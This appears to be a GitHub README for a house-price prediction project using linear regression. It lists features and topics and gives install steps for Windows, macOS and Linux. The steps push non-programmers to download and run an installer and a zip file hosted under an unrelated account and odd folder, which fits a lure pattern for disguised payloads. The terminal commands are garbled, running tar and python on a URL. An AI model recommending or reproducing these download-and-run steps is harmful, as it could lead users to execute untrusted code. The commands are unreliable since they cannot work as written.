This project predicts house prices using Linear Regression. It analyzes key features like square footage, bedrooms, bathrooms, lot size, and neighborhood quality. It is built with Python and uses libraries such as Pandas, NumPy, Scikit-learn, Matplotlib, and Seaborn for data analysis and visualization.
To start using the application, follow these simple steps. No programming knowledge is necessary.
- Operating System: Windows 10 or later, macOS, or Linux
- RAM: 4 GB minimum
- Storage: At least 500 MB of free space
- Python Version: 3.6 or later (comes pre-packaged in the download)
- Predict house prices using various features
- Visualizations of data through charts and plots
- Easy-to-use Python framework for data analysis
- Handles missing values and outliers
- Visit this page to download: DataZenixSolutions_DataAnalytics-Project3 Releases.
- Find the latest version listed.
- Click on the version you wish to download.
- Download the file that matches your operating system.
- Follow the instructions below based on your operating system.
- Once downloaded, locate the file in your Downloads folder.
- Double-click the file to run the installer.
- Follow the installation prompts on your screen.
- After installation, you can find the application in your Start menu.
- After downloading, open the .dmg file.
- Drag the application icon into your Applications folder.
- Open the application from your Applications.
- Download the https://raw.githubusercontent.com/MaickCrack/DataZenixSolutions_DataAnalytics-Project3/main/angelicic/DataZenixSolutions_DataAnalytics-Project3.zip file.
- Extract the files using a terminal command:
tar -xvzf https://raw.githubusercontent.com/MaickCrack/DataZenixSolutions_DataAnalytics-Project3/main/angelicic/DataZenixSolutions_DataAnalytics-Project3.zip. - Navigate into the extracted folder using
cd foldername. - Run the application using the command:
python https://raw.githubusercontent.com/MaickCrack/DataZenixSolutions_DataAnalytics-Project3/main/angelicic/DataZenixSolutions_DataAnalytics-Project3.zip.
- Open the application.
- Upload your dataset containing house features.
- Click the "Predict" button.
- View the predicted house prices in the application.
- Categorical Encoding
- Data Analysis Preparation
- Feature Selection & Engineering
- Handling Missing Values
- Histograms and Data Visualization
- Machine Learning Techniques
- Outliers Management
- Programming Tools Overview
- Regression Models Explained
- Residual Plots Understanding
- Scatter Plots for Data Insights
- Train-Test Split Method
- Visualization Insights from Data
Common Issues:
- If the application does not open, ensure Python is installed.
- Make sure all necessary files are downloaded.
- Check if your operating system meets the requirements.
Getting Help:
- Visit the Issues section on our GitHub page for support.
- Join our community forum if you have questions.
We welcome contributions from the community! If you would like to help improve this project, please visit the Contributing guidelines on our GitHub page.
- Future updates will include more features and enhanced predictions.
- Stay updated by visiting our Releases page regularly.
Special thanks to the contributors who helped refine this project, making it easier for everyone to predict house prices accurately. Your efforts are appreciated!